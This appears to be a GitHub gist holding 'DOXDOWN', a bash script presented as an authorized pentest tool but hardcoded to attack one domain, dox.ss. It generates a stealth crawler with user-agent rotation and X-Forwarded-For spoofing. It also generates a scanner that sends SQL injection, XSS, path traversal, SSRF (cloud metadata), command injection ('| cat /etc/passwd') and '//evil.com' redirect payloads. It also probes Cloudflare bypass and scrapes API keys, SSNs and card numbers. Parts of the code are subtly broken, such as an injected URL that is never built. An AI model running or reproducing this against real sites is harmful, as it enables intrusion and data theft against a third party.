Created
April 2, 2025 01:34
-
-
Save SWORDIntel/99e8f0ef026582f2f6a1155e7611f996 to your computer and use it in GitHub Desktop.
PROJECT DOXDOWN
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# DOXDOWN v1.0 - Comprehensive Cloudflare-aware Website Assessment Tool | |
# For authorized penetration testing only | |
# Colors for output | |
RED='\033[0;31m' | |
GREEN='\033[0;32m' | |
YELLOW='\033[0;33m' | |
BLUE='\033[0;34m' | |
MAGENTA='\033[0;35m' | |
CYAN='\033[0;36m' | |
NC='\033[0m' # No Color | |
# ===================================== | |
# Configuration | |
# ===================================== | |
TARGET_DOMAIN="dox.ss" | |
TARGET_URL="https://$TARGET_DOMAIN" | |
MAX_DELAY=7 # Maximum delay between requests | |
MIN_DELAY=3 # Minimum delay between requests | |
MAX_CRAWL_PAGES=500 # Maximum pages to crawl | |
TESTING_DIR="dox_ss_pentest_$(date +%F_%H-%M-%S)" | |
# ===================================== | |
# Banner and setup | |
# ===================================== | |
echo -e "${RED}" | |
echo "██████╗ ██████╗ ██╗ ██╗██████╗ ██████╗ ██╗ ██╗███╗ ██╗" | |
echo "██╔══██╗██╔═══██╗╚██╗██╔╝██╔══██╗██╔═══██╗██║ ██║████╗ ██║" | |
echo "██║ ██║██║ ██║ ╚███╔╝ ██║ ██║██║ ██║██║ █╗ ██║██╔██╗ ██║" | |
echo "██║ ██║██║ ██║ ██╔██╗ ██║ ██║██║ ██║██║███╗██║██║╚██╗██║" | |
echo "██████╔╝╚██████╔╝██╔╝ ██╗██████╔╝╚██████╔╝╚███╔███╔╝██║ ╚████║" | |
echo "╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═══╝" | |
echo -e "${CYAN} THE FINALE${NC}" | |
echo -e "${YELLOW}Authorized Assessment Tool for Cloudflare-Protected Websites${NC}" | |
echo -e "Target: ${GREEN}$TARGET_DOMAIN${NC}" | |
echo "==========================================================" | |
# Initialize directory structure | |
mkdir -p "$TESTING_DIR"/{recon,enumeration,vulnerabilities,evidence,logs} | |
cd "$TESTING_DIR" | |
# Create log file | |
LOG_FILE="logs/doxdown_$(date +%F_%H-%M-%S).log" | |
touch "$LOG_FILE" | |
# ===================================== | |
# Helper functions | |
# ===================================== | |
# Pretty logging function with timestamps | |
log() { | |
local timestamp=$(date "+%Y-%m-%d %H:%M:%S") | |
local level=$1 | |
local message=$2 | |
case $level in | |
"INFO") color=$GREEN ;; | |
"WARN") color=$YELLOW ;; | |
"ERROR") color=$RED ;; | |
"DEBUG") color=$BLUE ;; | |
*) color=$NC ;; | |
esac | |
echo -e "${color}[${timestamp}] [${level}] ${message}${NC}" | tee -a "$LOG_FILE" | |
} | |
# Random sleep function | |
random_sleep() { | |
local delay=$(awk -v min=$MIN_DELAY -v max=$MAX_DELAY 'BEGIN{srand(); print min+rand()*(max-min)}') | |
log "DEBUG" "Sleeping for ${delay}s..." | |
sleep $delay | |
} | |
# Generate random IP for X-Forwarded-For spoofing | |
random_ip() { | |
echo "$((RANDOM % 254 + 1)).$((RANDOM % 254 + 1)).$((RANDOM % 254 + 1)).$((RANDOM % 254 + 1))" | |
} | |
# Create a progress bar | |
progress_bar() { | |
local total=$1 | |
local current=$2 | |
local bar_size=30 | |
local filled=$(( current * bar_size / total )) | |
local percentage=$(( current * 100 / total )) | |
# Create the bar | |
local bar="" | |
for ((i=0; i<filled; i++)); do | |
bar+="#" | |
done | |
for ((i=filled; i<bar_size; i++)); do | |
bar+="." | |
done | |
printf "\r[%-${bar_size}s] %3d%% (%d/%d)" "$bar" "$percentage" "$current" "$total" | |
# Print newline if we're at 100% | |
if [ "$current" -eq "$total" ]; then | |
echo | |
fi | |
} | |
# ===================================== | |
# Main script execution | |
# ===================================== | |
log "INFO" "Assessment started against $TARGET_URL ($TARGET_DOMAIN)" | |
# ===================================== | |
# Phase 1: Basic Reconnaissance | |
# ===================================== | |
log "INFO" "========== PHASE 1: BASIC RECONNAISSANCE ==========" | |
log "INFO" "Checking if host is online and protected by Cloudflare" | |
curl -s -I "$TARGET_URL" -o "recon/initial_headers.txt" | |
if grep -q "server: cloudflare" "recon/initial_headers.txt"; then | |
log "INFO" "✅ Confirmed: Target is protected by Cloudflare" | |
CF_PROTECTED=true | |
else | |
log "WARN" "⚠️ Target doesn't appear to be using Cloudflare. Proceeding anyway." | |
CF_PROTECTED=false | |
fi | |
# Extract the HTML title for basic identification | |
log "INFO" "Getting basic site information..." | |
curl -s "$TARGET_URL" | grep -o "<title>[^<]*</title>" | sed 's/<title>\(.*\)<\/title>/\1/' > "recon/site_title.txt" | |
SITE_TITLE=$(cat "recon/site_title.txt") | |
log "INFO" "Site title: $SITE_TITLE" | |
# Perform DNS lookups | |
log "INFO" "Retrieving DNS information..." | |
{ | |
echo "DNS Records for $TARGET_DOMAIN:" | |
echo "====================================" | |
echo "A Records:" | |
host -t A "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" A +short | |
echo | |
echo "AAAA Records:" | |
host -t AAAA "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" AAAA +short | |
echo | |
echo "MX Records:" | |
host -t MX "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" MX +short | |
echo | |
echo "TXT Records:" | |
host -t TXT "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" TXT +short | |
echo | |
echo "NS Records:" | |
host -t NS "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" NS +short | |
echo | |
echo "SOA Record:" | |
host -t SOA "$TARGET_DOMAIN" || dig "$TARGET_DOMAIN" SOA +short | |
} > "recon/dns_records.txt" | |
log "INFO" "Looking for common subdomains..." | |
# Basic subdomain check for common prefixes | |
for sub in www mail remote dev stage test beta api app portal admin dashboard login secure support help status; do | |
random_sleep | |
if host "$sub.$TARGET_DOMAIN" > /dev/null 2>&1; then | |
echo "$sub.$TARGET_DOMAIN" >> "recon/discovered_subdomains.txt" | |
log "INFO" "Found subdomain: $sub.$TARGET_DOMAIN" | |
fi | |
done | |
# ===================================== | |
# Phase 2: Website Enumeration | |
# ===================================== | |
log "INFO" "========== PHASE 2: WEBSITE ENUMERATION ==========" | |
# Create a Python script for smart crawling | |
log "INFO" "Setting up intelligent crawler..." | |
cat > "enumeration/crawler.py" << 'EOL' | |
#!/usr/bin/env python3 | |
import requests | |
import time | |
import random | |
import sys | |
import urllib.parse | |
from bs4 import BeautifulSoup | |
import os | |
import json | |
from datetime import datetime | |
# Configure from command line args | |
if len(sys.argv) < 3: | |
print("Usage: python3 crawler.py <target_url> <max_pages>") | |
sys.exit(1) | |
target_url = sys.argv[1] | |
max_pages = int(sys.argv[2]) | |
output_dir = "crawl_results" | |
os.makedirs(output_dir, exist_ok=True) | |
# Initialize crawl state | |
visited = set() | |
to_visit = [target_url] | |
found_urls = [] | |
found_forms = [] | |
found_js_files = [] | |
found_parameters = set() | |
found_endpoints = set() | |
found_technologies = set() | |
# Track interesting findings | |
interesting = { | |
"possible_vulns": [], | |
"admin_pages": [], | |
"api_endpoints": [], | |
"file_uploads": [], | |
"authentication_forms": [] | |
} | |
# Setup user agents rotation | |
user_agents = [ | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", | |
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" | |
] | |
def random_ip(): | |
return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}" | |
def normalize_url(url, base_url): | |
# Handle relative URLs | |
if url.startswith("/"): | |
return urllib.parse.urljoin(base_url, url) | |
# Handle URLs without scheme | |
elif url.startswith("http") or url.startswith("https"): | |
return url | |
else: | |
return urllib.parse.urljoin(base_url, url) | |
def is_same_domain(url, base_domain): | |
# Extract domain from URL | |
try: | |
parsed = urllib.parse.urlparse(url) | |
domain = parsed.netloc | |
return domain == base_domain or domain.endswith("." + base_domain) | |
except: | |
return False | |
def extract_endpoints_from_js(js_content): | |
# Simple regex-based extraction of endpoints from JS | |
import re | |
# Look for URLs | |
url_pattern = re.compile(r'(https?://[^\s\'"\)]+)') | |
urls = url_pattern.findall(js_content) | |
# Look for API endpoints | |
api_pattern = re.compile(r'[\'"](/api/[^\'"]+)[\'"]') | |
apis = api_pattern.findall(js_content) | |
# Look for fetch/ajax calls | |
fetch_pattern = re.compile(r'(fetch|axios|ajax)\s*\(\s*[\'"]([^\'"]+)[\'"]') | |
fetch_calls = fetch_pattern.findall(js_content) | |
endpoints = set(urls) | |
for api in apis: | |
endpoints.add(api) | |
for _, url in fetch_calls: | |
endpoints.add(url) | |
return endpoints | |
def detect_technologies(response): | |
techs = set() | |
# Check headers | |
headers = response.headers | |
# Common technology signatures in headers | |
if "X-Powered-By" in headers: | |
techs.add(f"X-Powered-By: {headers['X-Powered-By']}") | |
if "Server" in headers: | |
techs.add(f"Server: {headers['Server']}") | |
if "X-AspNet-Version" in headers: | |
techs.add(f"ASP.NET: {headers['X-AspNet-Version']}") | |
if "X-Generator" in headers: | |
techs.add(f"Generator: {headers['X-Generator']}") | |
# Check content | |
content = response.text.lower() | |
# CMS detection | |
if "wp-content" in content: | |
techs.add("WordPress") | |
if "drupal" in content: | |
techs.add("Drupal") | |
if "joomla" in content: | |
techs.add("Joomla") | |
# JavaScript frameworks | |
if "react" in content and "reactdom" in content: | |
techs.add("React") | |
if "angular" in content: | |
techs.add("Angular") | |
if "vue" in content: | |
techs.add("Vue.js") | |
if "jquery" in content: | |
techs.add("jQuery") | |
# Server technologies | |
if "php" in content: | |
techs.add("PHP") | |
if "asp.net" in content: | |
techs.add("ASP.NET") | |
if "nodejs" in content: | |
techs.add("Node.js") | |
# Security headers check | |
security_headers = { | |
"Strict-Transport-Security": "HSTS", | |
"Content-Security-Policy": "CSP", | |
"X-Content-Type-Options": "X-Content-Type-Options", | |
"X-Frame-Options": "X-Frame-Options" | |
} | |
for header, name in security_headers.items(): | |
if header in headers: | |
techs.add(f"Security: {name}") | |
else: | |
techs.add(f"Missing Security Header: {name}") | |
return techs | |
def check_interesting_url(url, content): | |
"""Check if URL contains interesting patterns""" | |
url_lower = url.lower() | |
findings = [] | |
# Admin panel detection | |
admin_patterns = ["admin", "administrator", "login", "portal", "dashboard"] | |
if any(pattern in url_lower for pattern in admin_patterns): | |
interesting["admin_pages"].append(url) | |
findings.append(f"Potential admin page: {url}") | |
# API endpoint detection | |
api_patterns = ["/api/", "/graphql", "/v1/", "/v2/", "/rest/", "/soap/", "/swagger", "/docs"] | |
if any(pattern in url_lower for pattern in api_patterns): | |
interesting["api_endpoints"].append(url) | |
findings.append(f"API endpoint: {url}") | |
# File upload detection | |
if "upload" in url_lower or "file" in url_lower: | |
if "enctype=\"multipart/form-data\"" in content or "type=\"file\"" in content: | |
interesting["file_uploads"].append(url) | |
findings.append(f"File upload functionality: {url}") | |
# Authentication forms | |
if ("login" in url_lower or "signin" in url_lower or "register" in url_lower or "signup" in url_lower) and \ | |
("password" in content.lower() and ("username" in content.lower() or "email" in content.lower())): | |
interesting["authentication_forms"].append(url) | |
findings.append(f"Authentication form: {url}") | |
# Potential vulnerability patterns | |
vuln_patterns = { | |
"SQL Injection": ["id=", "category=", "product=", "user="], | |
"Path Traversal": ["file=", "path=", "dir=", "folder="], | |
"Open Redirect": ["redirect=", "url=", "next=", "return="] | |
} | |
for vuln, patterns in vuln_patterns.items(): | |
if any(pattern in url_lower for pattern in patterns): | |
interesting["possible_vulns"].append({ | |
"url": url, | |
"type": vuln, | |
"pattern": next((p for p in patterns if p in url_lower), "unknown") | |
}) | |
findings.append(f"Potential {vuln} at {url}") | |
return findings | |
def extract_forms(soup, url): | |
forms = [] | |
for form in soup.find_all('form'): | |
form_fields = [] | |
form_action = form.get('action', '') | |
form_method = form.get('method', 'get').upper() | |
# Normalize form action URL | |
if form_action: | |
form_action = normalize_url(form_action, url) | |
else: | |
form_action = url | |
# Extract all input fields | |
for input_field in form.find_all(['input', 'textarea', 'select']): | |
field_type = input_field.get('type', 'text') | |
field_name = input_field.get('name', '') | |
if field_name: # Only add fields with names | |
form_fields.append({ | |
'name': field_name, | |
'type': field_type | |
}) | |
# Add to global parameters set | |
found_parameters.add(field_name) | |
forms.append({ | |
'action': form_action, | |
'method': form_method, | |
'fields': form_fields | |
}) | |
return forms | |
def scan_url(url): | |
print(f"Scanning: {url}") | |
# Pick a random user agent | |
user_agent = random.choice(user_agents) | |
try: | |
headers = { | |
"User-Agent": user_agent, | |
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", | |
"Accept-Language": "en-US,en;q=0.5", | |
"Connection": "keep-alive", | |
"Upgrade-Insecure-Requests": "1", | |
"X-Forwarded-For": random_ip() | |
} | |
start_time = time.time() | |
response = requests.get(url, headers=headers, timeout=10, verify=True) | |
response_time = time.time() - start_time | |
# Basic info | |
result = { | |
"url": url, | |
"status_code": response.status_code, | |
"content_type": response.headers.get("Content-Type", "Unknown"), | |
"response_time": response_time, | |
"size": len(response.content), | |
"timestamp": datetime.now().isoformat() | |
} | |
# Skip non-HTML content for crawling | |
if "text/html" not in result["content_type"]: | |
if ".js" in url: | |
# Save JavaScript files separately | |
js_content = response.text | |
js_filename = url.split('/')[-1].split('?')[0] | |
js_result = { | |
"url": url, | |
"filename": js_filename, | |
"size": len(js_content), | |
"endpoints": list(extract_endpoints_from_js(js_content)) | |
} | |
found_js_files.append(js_result) | |
# Add endpoints to global set | |
for endpoint in js_result["endpoints"]: | |
found_endpoints.add(endpoint) | |
# Save JS content for further analysis | |
with open(f"{output_dir}/js_{js_filename}", "w", encoding="utf-8") as f: | |
f.write(js_content) | |
return result, [] | |
# Parse HTML content | |
soup = BeautifulSoup(response.text, 'html.parser') | |
# Extract title | |
title = soup.title.text if soup.title else "No title" | |
result["title"] = title | |
# Extract links to crawl | |
links = [] | |
for a_tag in soup.find_all('a', href=True): | |
href = a_tag['href'] | |
if href and not href.startswith('#') and not href.startswith('javascript:'): | |
normalized = normalize_url(href, url) | |
if is_same_domain(normalized, urllib.parse.urlparse(target_url).netloc): | |
links.append(normalized) | |
# Extract forms | |
forms = extract_forms(soup, url) | |
if forms: | |
found_forms.extend(forms) | |
# Extract JavaScript files for further analysis | |
for script in soup.find_all('script', src=True): | |
src = script['src'] | |
if src and src.endswith('.js'): | |
js_url = normalize_url(src, url) | |
if js_url not in [js["url"] for js in found_js_files]: | |
if is_same_domain(js_url, urllib.parse.urlparse(target_url).netloc): | |
to_visit.append(js_url) | |
# Detect technologies | |
detected_techs = detect_technologies(response) | |
found_technologies.update(detected_techs) | |
result["technologies"] = list(detected_techs) | |
# Check for interesting URLs and content | |
findings = check_interesting_url(url, response.text) | |
if findings: | |
result["findings"] = findings | |
return result, links | |
except Exception as e: | |
print(f"Error scanning {url}: {str(e)}") | |
return { | |
"url": url, | |
"error": str(e), | |
"timestamp": datetime.now().isoformat() | |
}, [] | |
# Main crawling loop | |
print(f"Starting crawl of {target_url}, limited to {max_pages} pages") | |
results = [] | |
page_count = 0 | |
while to_visit and page_count < max_pages: | |
# Get next URL | |
current_url = to_visit.pop(0) | |
# Skip if already visited | |
if current_url in visited: | |
continue | |
# Mark as visited | |
visited.add(current_url) | |
# Scan the URL | |
result, new_links = scan_url(current_url) | |
# Save result | |
if "error" not in result: | |
results.append(result) | |
found_urls.append(current_url) | |
page_count += 1 | |
# Print progress | |
progress = (page_count / max_pages) * 100 | |
print(f"Progress: [{page_count}/{max_pages}] {progress:.1f}%") | |
# Add new links to visit | |
for link in new_links: | |
if link not in visited and link not in to_visit: | |
to_visit.append(link) | |
# Random delay to avoid rate limiting | |
delay = random.uniform(1, 3) | |
time.sleep(delay) | |
# Save all results | |
print(f"Crawl complete. Visited {len(results)} pages.") | |
# Save results to files | |
with open(f"{output_dir}/crawled_urls.json", "w") as f: | |
json.dump(found_urls, f, indent=2) | |
with open(f"{output_dir}/pages.json", "w") as f: | |
json.dump(results, f, indent=2) | |
with open(f"{output_dir}/forms.json", "w") as f: | |
json.dump(found_forms, f, indent=2) | |
with open(f"{output_dir}/js_files.json", "w") as f: | |
json.dump(found_js_files, f, indent=2) | |
with open(f"{output_dir}/parameters.json", "w") as f: | |
json.dump(list(found_parameters), f, indent=2) | |
with open(f"{output_dir}/technologies.json", "w") as f: | |
json.dump(list(found_technologies), f, indent=2) | |
with open(f"{output_dir}/interesting.json", "w") as f: | |
json.dump(interesting, f, indent=2) | |
print("Results saved to the 'crawl_results' directory") | |
EOL | |
chmod +x enumeration/crawler.py | |
# Run the crawler | |
log "INFO" "Starting intelligent crawler..." | |
python3 enumeration/crawler.py "$TARGET_URL" "$MAX_CRAWL_PAGES" | |
log "INFO" "Creating wordlists from discovered parameters..." | |
mkdir -p "enumeration/wordlists" | |
# Extract parameters from JS for wordlists | |
if [ -f "enumeration/crawler_results/parameters.json" ]; then | |
jq -r '.[]' "enumeration/crawler_results/parameters.json" > "enumeration/wordlists/parameters.txt" | |
log "INFO" "Created parameters wordlist with $(wc -l < enumeration/wordlists/parameters.txt) entries" | |
fi | |
# Create a script to find specific vulnerabilities based on crawl data | |
log "INFO" "Creating vulnerability scanner..." | |
cat > "vulnerabilities/vulnerability_scanner.py" << 'EOL' | |
#!/usr/bin/env python3 | |
import json | |
import sys | |
import requests | |
import time | |
import random | |
from concurrent.futures import ThreadPoolExecutor, as_completed | |
from urllib.parse import urljoin, urlparse, parse_qs, urlencode, quote | |
from bs4 import BeautifulSoup | |
import re | |
# Configuration | |
TARGET_DOMAIN = sys.argv[1] | |
INPUT_DIR = sys.argv[2] | |
MAX_THREADS = 5 | |
DELAY = 2 # Seconds between requests | |
# Load the crawled data | |
def load_json_file(filename): | |
try: | |
with open(filename, 'r') as f: | |
return json.load(f) | |
except Exception as e: | |
print(f"Error loading {filename}: {e}") | |
return [] | |
crawled_urls = load_json_file(f"{INPUT_DIR}/crawled_urls.json") | |
forms = load_json_file(f"{INPUT_DIR}/forms.json") | |
interesting = load_json_file(f"{INPUT_DIR}/interesting.json") | |
js_files = load_json_file(f"{INPUT_DIR}/js_files.json") | |
# Vulnerability check payloads | |
payloads = { | |
"sqli": ["'", "' OR '1'='1", "1 OR 1=1", "' --", "admin' --"], | |
"xss": ["<script>alert(1)</script>", "\"><script>alert(1)</script>", "\"><img src=x onerror=alert(1)>"], | |
"lfi": ["../../../etc/passwd", "..%2f..%2f..%2fetc%2fpasswd", "..\\..\\windows\\win.ini"], | |
"open_redirect": ["//evil.com", "https://evil.com", "//google.com", "javascript:alert(1)"], | |
"ssrf": ["http://localhost", "http://127.0.0.1", "http://169.254.169.254/latest/meta-data/"], | |
"command_injection": ["; ls -la", "& dir", "| cat /etc/passwd", "`cat /etc/passwd`"] | |
} | |
# Responses that might indicate vulnerabilities | |
signatures = { | |
"sqli": ["SQL syntax", "mysql_fetch", "ORA-", "SQL error", "sqlite3"], | |
"xss": ["<script>alert(1)</script>"], | |
"lfi": ["root:x:0:0", "WWW-Authenticate", "[boot loader]", "[fonts]", "sbin"], | |
"open_redirect": ["Location:"], | |
"ssrf": ["<title>Internal", "metadata", "computeMetadata"], | |
"command_injection": ["root:x:0:0", "Directory of", "drwxr-xr-x"] | |
} | |
# Random user agents | |
user_agents = [ | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", | |
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" | |
] | |
def random_ip(): | |
return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}" | |
def make_request(url, method="GET", data=None, headers=None): | |
if headers is None: | |
headers = { | |
"User-Agent": random.choice(user_agents), | |
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", | |
"Accept-Language": "en-US,en;q=0.5", | |
"Connection": "close", | |
"X-Forwarded-For": random_ip() | |
} | |
try: | |
if method == "GET": | |
response = requests.get(url, headers=headers, timeout=10, allow_redirects=False) | |
else: # POST | |
response = requests.post(url, data=data, headers=headers, timeout=10, allow_redirects=False) | |
time.sleep(DELAY) # Be gentle with the server | |
return response | |
except Exception as e: | |
print(f"Error requesting {url}: {e}") | |
return None | |
def check_url_for_injections(url): | |
findings = [] | |
parsed_url = urlparse(url) | |
query_params = parse_qs(parsed_url.query) | |
# Skip if no query parameters | |
if not query_params: | |
return findings | |
for param_name, param_values in query_params.items(): | |
original_value = param_values[0] | |
for vuln_type, payloads_list in payloads.items(): | |
for payload in payloads_list: | |
# Make a copy of the query parameters | |
new_params = parse_qs(parsed_url.query) | |
new_params[param_name] = [payload] # Replace parameter with payload | |
# Reconstruct URL with new query string | |
new_query = urlencode(new_params, doseq=True) | |
parts = list(parsed_url) | |
parts[4] = new_query | |
injected_url = urljoin(url, urlparse("").geturl()) | |
print(f"Testing {vuln_type} in parameter {param_name} at {url}") | |
response = make_request(injected_url) | |
if response: | |
# Check if the response contains any of the signatures | |
for signature in signatures.get(vuln_type, []): | |
if signature in response.text or signature in str(response.headers): | |
finding = { | |
"type": vuln_type, | |
"url": url, | |
"parameter": param_name, | |
"payload": payload, | |
"evidence": signature, | |
"status_code": response.status_code | |
} | |
findings.append(finding) | |
print(f"[VULNERABILITY FOUND] {vuln_type} in {url}, parameter {param_name}") | |
break | |
return findings | |
def check_form_for_injections(form): | |
findings = [] | |
form_url = form.get('action', '') | |
form_method = form.get('method', 'GET').upper() | |
form_fields = form.get('fields', []) | |
# Skip forms with no fields | |
if not form_fields: | |
return findings | |
for field in form_fields: | |
field_name = field.get('name', '') | |
field_type = field.get('type', 'text') | |
# Skip submit buttons, hidden fields, etc. | |
if not field_name or field_type in ['submit', 'button', 'image', 'reset']: | |
continue | |
# Test different vulnerability payloads | |
for vuln_type, payloads_list in payloads.items(): | |
# Skip certain tests for certain field types | |
if field_type == 'password' and vuln_type != 'sqli': | |
continue # Only test SQL injection for password fields | |
for payload in payloads_list: | |
print(f"Testing {vuln_type} in form field {field_name} at {form_url}") | |
# Prepare form data | |
form_data = {f['name']: 'test' for f in form_fields if f['name']} | |
form_data[field_name] = payload | |
if form_method == "GET": | |
# Append parameters to URL for GET requests | |
query_string = urlencode(form_data) | |
test_url = f"{form_url}?{query_string}" | |
response = make_request(test_url) | |
else: # POST | |
response = make_request(form_url, method="POST", data=form_data) | |
if response: | |
# Check if the response contains any of the signatures | |
for signature in signatures.get(vuln_type, []): | |
if signature in response.text or signature in str(response.headers): | |
finding = { | |
"type": vuln_type, | |
"url": form_url, | |
"method": form_method, | |
"field": field_name, | |
"payload": payload, | |
"evidence": signature, | |
"status_code": response.status_code | |
} | |
findings.append(finding) | |
print(f"[VULNERABILITY FOUND] {vuln_type} in form at {form_url}, field {field_name}") | |
break | |
return findings | |
def check_for_info_disclosure(url): | |
findings = [] | |
sensitive_patterns = [ | |
("API Key", r'api[_-]?key["\']?\s*[:=]\s*["\']([a-zA-Z0-9_\-]{20,})["\']\s*'), | |
("AWS Key", r'(AKIA[0-9A-Z]{16})'), | |
("Email", r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'), | |
("Private IP", r'\b(127\.0\.0\.1|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.[0-9]{1,3}\.[0-9]{1,3}|192\.168\.[0-9]{1,3}\.[0-9]{1,3})\b'), | |
("Social Security Number", r'\b\d{3}-\d{2}-\d{4}\b'), | |
("Credit Card", r'\b(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|6(?:011|5[0-9]{2})[0-9]{12}|(?:2131|1800|35\d{3})\d{11})\b') | |
] | |
print(f"Checking for information disclosure at {url}") | |
response = make_request(url) | |
if response and response.status_code == 200: | |
for info_type, pattern in sensitive_patterns: | |
matches = re.findall(pattern, response.text) | |
if matches: | |
for match in matches[:5]: # Limit to first 5 matches | |
finding = { | |
"type": "Information Disclosure", | |
"url": url, | |
"info_type": info_type, | |
"evidence": match if len(str(match)) < 50 else str(match)[:47] + "..." | |
} | |
findings.append(finding) | |
print(f"[INFORMATION DISCLOSURE] Found {info_type} at {url}") | |
return findings | |
def check_security_headers(url): | |
findings = [] | |
print(f"Checking security headers for {url}") | |
response = make_request(url) | |
if not response: | |
return findings | |
security_headers = { | |
"strict-transport-security": "HTTP Strict Transport Security not set", | |
"x-content-type-options": "X-Content-Type-Options not set", | |
"x-frame-options": "X-Frame-Options not set", | |
"content-security-policy": "Content-Security-Policy not set", | |
"x-xss-protection": "X-XSS-Protection not set", | |
"referrer-policy": "Referrer-Policy not set" | |
} | |
for header, message in security_headers.items(): | |
if header not in {h.lower() for h in response.headers}: | |
finding = { | |
"type": "Missing Security Header", | |
"url": url, | |
"header": header, | |
"description": message | |
} | |
findings.append(finding) | |
print(f"[SECURITY HEADER] {message}") | |
return findings | |
def check_cloudflare_bypass(url): | |
findings = [] | |
print(f"Testing Cloudflare bypass methods for {url}") | |
# Test 1: Origin IP exposure check | |
headers = { | |
"Host": urlparse(url).netloc, | |
"User-Agent": random.choice(user_agents), | |
"Accept": "application/json, text/javascript, */*; q=0.01", | |
"X-Requested-With": "XMLHttpRequest", | |
"X-Forwarded-For": "127.0.0.1", # Try localhost spoofing | |
} | |
response = make_request(url, headers=headers) | |
if response and response.status_code == 200: | |
if "cloudflare" not in str(response.headers).lower() and "cf-" not in str(response.headers).lower(): | |
finding = { | |
"type": "Potential Cloudflare Bypass", | |
"url": url, | |
"method": "X-Forwarded-For Spoofing", | |
"evidence": "Response received without Cloudflare headers" | |
} | |
findings.append(finding) | |
print(f"[CLOUDFLARE BYPASS] Potential bypass using X-Forwarded-For at {url}") | |
# Test 2: Test for misconfigured Cross-Origin Resource Sharing (CORS) | |
headers = { | |
"User-Agent": random.choice(user_agents), | |
"Origin": "https://evil.com", | |
"X-Forwarded-For": random_ip() | |
} | |
response = make_request(url, headers=headers) | |
if response and "access-control-allow-origin" in {h.lower() for h in response.headers}: | |
allowed_origin = response.headers.get("Access-Control-Allow-Origin") | |
if allowed_origin == "*" or "evil.com" in allowed_origin: | |
finding = { | |
"type": "CORS Misconfiguration", | |
"url": url, | |
"allowed_origin": allowed_origin, | |
"evidence": f"Access-Control-Allow-Origin: {allowed_origin}" | |
} | |
findings.append(finding) | |
print(f"[CORS MISCONFIGURATION] {url} allows origin: {allowed_origin}") | |
return findings | |
def process_url(url): | |
all_findings = [] | |
# Check for parameter-based injections | |
if "?" in url and "=" in url: | |
all_findings.extend(check_url_for_injections(url)) | |
# Check for information disclosure | |
all_findings.extend(check_for_info_disclosure(url)) | |
# Check security headers | |
all_findings.extend(check_security_headers(url)) | |
# Check for Cloudflare bypass possibilities | |
all_findings.extend(check_cloudflare_bypass(url)) | |
return all_findings | |
def process_form(form): | |
return check_form_for_injections(form) | |
def main(): | |
all_findings = [] | |
print(f"Starting vulnerability scan for {TARGET_DOMAIN}") | |
print(f"Loaded {len(crawled_urls)} URLs and {len(forms)} forms to test") | |
# Process URLs | |
print("Testing URLs for vulnerabilities...") | |
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: | |
# Filter URLs to test (those with parameters get priority) | |
test_urls = [url for url in crawled_urls if "?" in url and "=" in url] | |
other_urls = [url for url in crawled_urls if url not in test_urls][:50] # Limit testing to 50 non-parameterized URLs | |
all_test_urls = test_urls + other_urls | |
url_futures = {executor.submit(process_url, url): url for url in all_test_urls} | |
for future in as_completed(url_futures): | |
url = url_futures[future] | |
try: | |
findings = future.result() | |
if findings: | |
all_findings.extend(findings) | |
print(f"Found {len(findings)} issues at {url}") | |
except Exception as e: | |
print(f"Error processing {url}: {e}") | |
# Process forms | |
print("Testing forms for vulnerabilities...") | |
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: | |
form_futures = {executor.submit(process_form, form): form for form in forms} | |
for future in as_completed(form_futures): | |
try: | |
findings = future.result() | |
if findings: | |
all_findings.extend(findings) | |
except Exception as e: | |
print(f"Error processing form: {e}") | |
# Save findings to JSON | |
if all_findings: | |
with open("vulnerability_findings.json", "w") as f: | |
json.dump(all_findings, f, indent=2) | |
print(f"Found {len(all_findings)} potential vulnerabilities. Saved to vulnerability_findings.json") | |
else: | |
print("No vulnerabilities found.") | |
if __name__ == "__main__": | |
main() | |
EOL | |
